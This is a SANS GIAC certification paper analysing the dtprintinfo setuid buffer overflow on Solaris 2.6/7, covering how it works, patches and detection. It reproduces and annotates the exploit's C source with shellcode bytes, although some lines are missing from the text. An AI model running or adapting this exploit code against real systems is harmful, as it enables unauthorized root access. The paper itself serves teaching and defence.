



# Global Information Assurance Certification Paper

Copyright SANS Institute  
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

## Interested in learning more?

Check out the list of upcoming events offering  
"Hacker Tools, Techniques, Exploits, and Incident Handling (Security 504)"  
at <http://www.giac.org/registration/gcih>

### Exploit Details

Name: dtprintinfo exploit (CVE 1999-0806, BugTraq ID 249)  
Variants: Similar exploit exists for the Solaris 2.6 and Solaris 7 Intel edition  
Operating System: Solaris 2.6 and Solaris 7 Sparc edition  
Protocols/Services: Local boundary condition error using the dtprintinfo command  
Brief Description: The provided dtprintinfo utility is normally used to launch a CDE based application which provides information on the configured printer queues. The utility has a setuid setting such that any user running the utility has the same rights as the program owner, in this case, root. By overstepping the bounds of the input to the '-p' option for dtprintinfo, any command can be made to execute as root. The example provided here is written to provide the attacker with a root level shell.

### Protocol/Program description

The affected versions of the Solaris OS both include a suite of printer tools. Included in those tools is a CDE application called dtprintinfo (see Figure 1). The program is designed to allow for print job manipulation and tracking of print jobs.




Figure 1

The dtprintinfo utility is designed to be run as a setuid (SUID) program. That is, the application is owned by root but has the necessary permission bits set so that anyone can run the application and, in doing so, inherit the rights and privileges of the application owner. Ronald Ross provides an excellent explanation of SUID in his GCIH practical (Reference #1). The permissions bit for dtprintinfo are highlighted in Figure 2.

### Variants

No known variants of this exploit could be located on the various security related websites. Variants only exist in the sense that a large number of exploits can commonly be grouped and labeled as boundary condition error exploits. A similar exploit does exist in the Solaris 2.6 and Solaris 7 Intel version of dtprintinfo and is based on similar code.

### How the exploit works

This exploit is based on what is known as a boundary condition error. In particular, this is a buffer overflow error. Buffer overflow exploits can be further divided into local and network based compromises. The dtprintinfo exploit is a local compromise.




Figure 2

The exploit works by calling the dtprintinfo binary and 'overstuffing' the variable that is passed to the argument of the '-p' option. The '-p' option allows you to directly specify the queue name of the printer you are inquiring about. Some of the data written contains NOP (no operation) commands, some of it contains the actual exploit, and somewhere in the data, it writes the return address that points to the exploit code. While this could be any command, the example studied here, presumably, executes a call to /bin/sh. Since the exploit code is represented in hexadecimal form in the source listing, it would be necessary to decompile it to understand the actual commands that are imbedded. The presumption of running /bin/sh is based on the observed behavior of the exploit when executed. Since dtprintinfo is SUID and this exploit is called by dtprintinfo, this code will inherit the rights of the dtprintinfo owner (in this case 'root') and the /bin/sh code will run as root. This gives the attacker a root level shell.

### How to use the exploit

Minimum requirements to use this exploit are:

- Target must be running either Solaris 2.6 or Solaris 7 SPARC edition without the vendor fixes applied. (I was unable to find the Release notes for all versions of Solaris 2.6 or Solaris 7 and could not determine when the patch became integrated.)
- userid on the system
- C compiler (The compiler is not necessarily required on the target system. However, the binary needs to be compiled on the same architecture as the target machine.) (Reference #2)
- CDE (The CDE binaries, including dtprintinfo, must be installed on the target system. The attacking system doesn't require CDE but must be capable of displaying X applications.)

Of course, the dtprintinfo binary must have the SUID bits set as shown in Figure 2. Below are some screen captures that show the exploit being compiled and used.

Figure 3 shows that the userid 'sipes', which was used to compile the exploit, is not a privileged userid.




Figure 3

Figure 4 shows the steps necessary to compile and execute the binary.




Figure 4

When executing the exploit, it is necessary to have your DISPLAY variable set appropriately as the exploit will briefly try to display the dtprintinfo application. If your DISPLAY variable is not set, the exploit will fail with an error message stating that the system could not open your display.

### Exploit signature

Unlike some network based attacks which sometimes generate network traffic that network-based IDSs (Intrusion Detection System) can flag, local compromises do not generate a 'signature' that can be tracked with a current, host-based IDS. The best way to look for exploits of this nature is through religious reviewing of your log files. If you notice gaps in your logs, you should closely monitor your system for any suspicious activity.

### How to protect against the exploit

I have found two practical solutions and one theoretical solution to this type of problem.

#### Solution #1:

To address this problem directly, Sun released a patch that included fixes for the dtprintinfo command. According to the SunSolve website (Reference #3), you can install patch id 107219-01 or higher for Solaris 7 and patch id 106437-02 or higher for Solaris 2.6. Figure 5 shows a screen capture of an attempt to run the exploit on a Solaris 2.6 box after patch 106437-03 has been installed. The exploit causes a different behavior after the patch has been installed as shown in Figures 6 and 7. Instead of briefly displaying the dtprintinfo application and then disappearing, the application appears with some fairly obvious garbage displayed in the bottom part of the status window.




Figure 5



effectively use this type of solution.

### Solution #3:

At the Def Con 8 conference, Tim Lawless (Reference #5) presented material under the title of the "Saint Jude" project. Tim wrote a dynamically loaded kernel module that looks for unauthorized root transitions. Like the eTrust solution outlined above, the buffer overrun takes place and is successful, however, the resulting exec'ed command is killed. Note that Saint Jude was in BETA at the time of this writing and efforts to find documentation were not successful. At Def Con, Tim did make note that the code was currently only being developed for Linux and Solaris.

### Source code/Pseudo code

The source code for this exploit can be found in a number of places. The copy used for this paper was obtained at AntiOnline (Reference #6).

The source code is short enough that I've included it here along with semi-detailed descriptions of what each section of code is doing. To facilitate this, I have removed all of the original comments and have added line numbers to make referencing the actual code easier.

```
1. #define ADJUST      0
2. #define OFFSET     1144
3. #define STARTADR   724
4. #define BUFSIZE    900
5. #define NOP 0xa61cc013
```

Lines 1-5 define some of the constants used in the exploit. The two numbers which were probably the most difficult to obtain were OFFSET and STARTADR. They give some reference to code in the stack and how close the exploiting code is to it. Line 5 is the NOP command that is used to 'pad' the stack.

```
6. static char  x[1000];
```

This is the array where the exploit is built.

```
7. unsigned long ret_adr;
8. int i;
```

Lines 7-8 define 2 numbers. ret\_adr is used to store the return address pointer and i is used for a loop counter.

```
9. char exploit_code[] =
10. "\x82\x10\x20\x17\x91\xd0\x20\x08"
11. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
12. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
13. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
14. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
15. "\x82\x10\x20\x3b\x91\xd4\xff\xff";
```

Lines 9-15 contain the character sequence which is the hexadecimal representation of the compiled exploiting code.

```
16. unsigned long get_sp(void)
17. {
18.     __asm__ ("mov %sp,%i0 \n");
19. }
```

Lines 16-19 contain code to obtain the current stack pointer. It does this using a GCC specific command (asm) (Reference #7) which allows the programmer to code assembly commands using 'C' style expressions. It basically takes the current stack pointer (represented by %sp) and copies it into a register (%i0) for later reference. More information can be found about Sparc specific assembly code







ADJUST is zero, we just begin at element 724.

However, since the stack may not be on a boundary when we execute this code, we need a way to easily move our exploit code within the array, hence the variable ADJUST. ADJUST has a useful range of 0 through 3. If ADJUST had been defined as 1, then our array, x, would be shifted by one byte, as shown here:

Array x	0x11	0xa6	0x1c	0xc0	0x13	0xa6	0x1c	0xc0	.	.	0xa6	0x82	0x10	0x20	.	0x13	0xa6	0x1c	0xc0	Undef	Undef	Undef	Undef	Undef	Undef	Undef	Undef
Element	0	1	2	3	4	5	6	.	.	.	724	725	726	727	.	896	897	898	899	900	.	.	.	.	.	.	999

The differences that should be noted here are that array element 0 (zero) has been filled with the fill pattern defined in line 23 of the code. Also, we don't start stuffing in the exploit code until element 725, which is STARTADR (value 724) + ADJUST (value 1). You can see that, if ADJUST was set to a value higher than 3, the array would begin to look similar to our original array (with ADJUST value of 0), only it would have a leading sequence of the fill pattern described in line 23 of the code.

```

31. ret_adr=get_sp()-OFFSET;
32. printf("jumping address : %lx\n",ret_adr);
33. if ((ret_adr & 0xff) ==0 ){
34.     ret_adr -=16;
35.     printf("New jumping address : %lx\n",ret_adr);
36. }
    
```

Lines 31 - 36 determine what the return address should be using a function called get\_sp (defined in lines 16-19) above and subtracting a calculated OFFSET. It then checks this address by ANDing it with 0xff. I am unclear as to why the author of this exploit would perform such a check, however, I'm sure he/she had a good reason. As described before, any integer ANDed with 0xff results in the last 8 bits of the original integer. So, if the return address ANDed with 0xff yields a 0, we want to make sure that we set our return point to somewhere before our current address, hence, backing up 16 bytes.

```

37. for (i = ADJUST; i < 600 ; i+=4){
38.     x[i+3]=ret_adr & 0xff;
39.     x[i+2]=(ret_adr >> 8 ) &0xff;
40.     x[i+1]=(ret_adr >> 16 ) &0xff;
41.     x[i+0]=(ret_adr >> 24 ) &0xff;
42. }
    
```

Lines 37 - 42 take the calculated return address and stuffs it into the first parts of x, ranging from ADJUST to 599. This is very similar to the code described above regarding lines 24 - 29. Except, instead of filling it in a backwards fashion with the NOP value, it is filled backwards with the return address. Since we're filling up a sizeable section of the array with the return address, there is a high probability that one of them will land in the proper location on the stack to be interpreted as the return address.

```

43. x[BUFSIZE]=0;
    
```

Line 43 takes the first undefined element of the array, in this case element 900, and puts in a null value. This effectively puts a termination character at the end of the array, making it a valid string. We know that this is going to be element 900 from line 24 above. The highest we ever go in the array is element 899, and that is when we fill it with NOPs.

```

44. execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
45. }
    
```

Line 44, we're finally here. This is a standard UNIX system call which takes, as its arguments, any number of strings. The first string is the full path to the binary to be executed. The second string is

the equivalent of ARGV[0]. Any strings following that are treated as ARGV[1], ARGV[2], etc. The last argument to execl must be a null pointer which lets execl know that there are no more ARGV[n] values to set up.

When the execl runs, it passes the exploit array to the '-p' option causing the boundary condition error. That, in a nutshell, is how the code works.

### References

1. [http://www.sans.org/y2k/practical/Ronald\\_Ross.doc](http://www.sans.org/y2k/practical/Ronald_Ross.doc)
2. GCC Compiler: <http://www.sunfreeware.com> (Note: This is a precompiled version). The uncompiled source code can be found at <ftp://ftp.gnu.org/pub/gnu/gcc/>
3. SunSolve:  
[http://sunsolve.Sun.COM/private-cgi/retrieve.pl?doc=patches%2F107885&zone\\_32=dtprintinfo](http://sunsolve.Sun.COM/private-cgi/retrieve.pl?doc=patches%2F107885&zone_32=dtprintinfo)
4. Computer Associates eTrust product: <http://www.ca.com/etrust>
5. Tim Lawless: [tim.lawless@usm.edu](mailto:tim.lawless@usm.edu)
6. AntiOnline location for dtprintinfo code
  - (for Solaris 7):  
<http://www.AntiOnline.com/cgi-bin/anticode/file.pl?file=solaris-exploits/27/dtprintinfo.c>
  - (for Solaris 2.6):  
<http://www.AntiOnline.com/cgi-bin/anticode/file.pl?file=solaris-exploits/26/dtprintinfo.c>
7. GCC Documentation: [http://gcc.gnu.org/onlinedocs/gcc\\_toc.html](http://gcc.gnu.org/onlinedocs/gcc_toc.html)
8. Sun Documentation: <http://docs.sun.com>

### Additional Information

Xforce: <http://xforce.iss.net/static/2188.php>

MITRE: <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0806>

### Acknowledgements

In particular, I would like to thank 2 individuals who, through their time, patience, and knowledge, led me to a better understanding of this exploit. I include the acknowledgement of their help because it helps to show that a better answer can be derived by working with a team. Thom Gardner and Mark Jonathan Austin II, both of whom live in Raleigh, N.C., stand as giants when it comes to having a holistic understanding of UNIX and its internal workings. They also both have an uncanny ability to dissect and explain, in the simplest of terms, something that may be inherently complex. Thanks to both of you.

© SANS Institute 2000 - 2005, Author retains full rights.

# Upcoming Training

Click Here to  
**{Get CERTIFIED!}**



Community SANS Columbus SEC504	Columbus, OH	Oct 23, 2017 - Oct 28, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Gulf Region 2017	Dubai, United Arab Emirates	Nov 04, 2017 - Nov 16, 2017	Live Event
SANS Amsterdam 2017	Amsterdam, Netherlands	Nov 06, 2017 - Nov 11, 2017	Live Event
SANS Milan November 2017	Milan, Italy	Nov 06, 2017 - Nov 11, 2017	Live Event
Community SANS New York SEC504^	New York, NY	Nov 06, 2017 - Nov 11, 2017	Community SANS
Mentor Session AW - SEC504	Houston, TX	Nov 06, 2017 - Jan 29, 2018	Mentor
SANS Miami 2017	Miami, FL	Nov 06, 2017 - Nov 11, 2017	Live Event
Community SANS Raleigh SEC504	Raleigh, NC	Nov 06, 2017 - Nov 11, 2017	Community SANS
Pen Test Hackfest Summit & Training 2017	Bethesda, MD	Nov 13, 2017 - Nov 20, 2017	Live Event
Community SANS Toronto SEC504	Toronto, ON	Nov 13, 2017 - Nov 18, 2017	Community SANS
Mentor Session SEC504	Houston, TX	Nov 13, 2017 - Dec 11, 2017	Mentor
SANS Sydney 2017	Sydney, Australia	Nov 13, 2017 - Nov 25, 2017	Live Event
SANS San Francisco Winter 2017	San Francisco, CA	Nov 27, 2017 - Dec 02, 2017	Live Event
Community SANS Detroit SEC504~	Detroit, MI	Nov 27, 2017 - Dec 02, 2017	Community SANS
SANS London November 2017	London, United Kingdom	Nov 27, 2017 - Dec 02, 2017	Live Event
SANS Austin Winter 2017	Austin, TX	Dec 04, 2017 - Dec 09, 2017	Live Event
SANS Frankfurt 2017	Frankfurt, Germany	Dec 11, 2017 - Dec 16, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Cyber Defense Initiative 2017 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Washington, DC	Dec 14, 2017 - Dec 19, 2017	vLive
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
Community SANS Honolulu SEC504	Honolulu, HI	Jan 08, 2018 - Jan 13, 2018	Community SANS
Mentor Session - SEC504	San Antonio, TX	Jan 09, 2018 - Mar 13, 2018	Mentor
SANS Amsterdam January 2018	Amsterdam, Netherlands	Jan 15, 2018 - Jan 20, 2018	Live Event
Community SANS Ottawa SEC504	Ottawa, ON	Jan 15, 2018 - Jan 20, 2018	Community SANS
Community SANS St Louis SEC504	St Louis, MO	Jan 15, 2018 - Jan 20, 2018	Community SANS
Northern VA Winter - Reston 2018	Reston, VA	Jan 15, 2018 - Jan 20, 2018	Live Event
SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	SEC504 - 201801,	Jan 16, 2018 - Feb 22, 2018	vLive
SANS Dubai 2018	Dubai, United Arab Emirates	Jan 27, 2018 - Feb 01, 2018	Live Event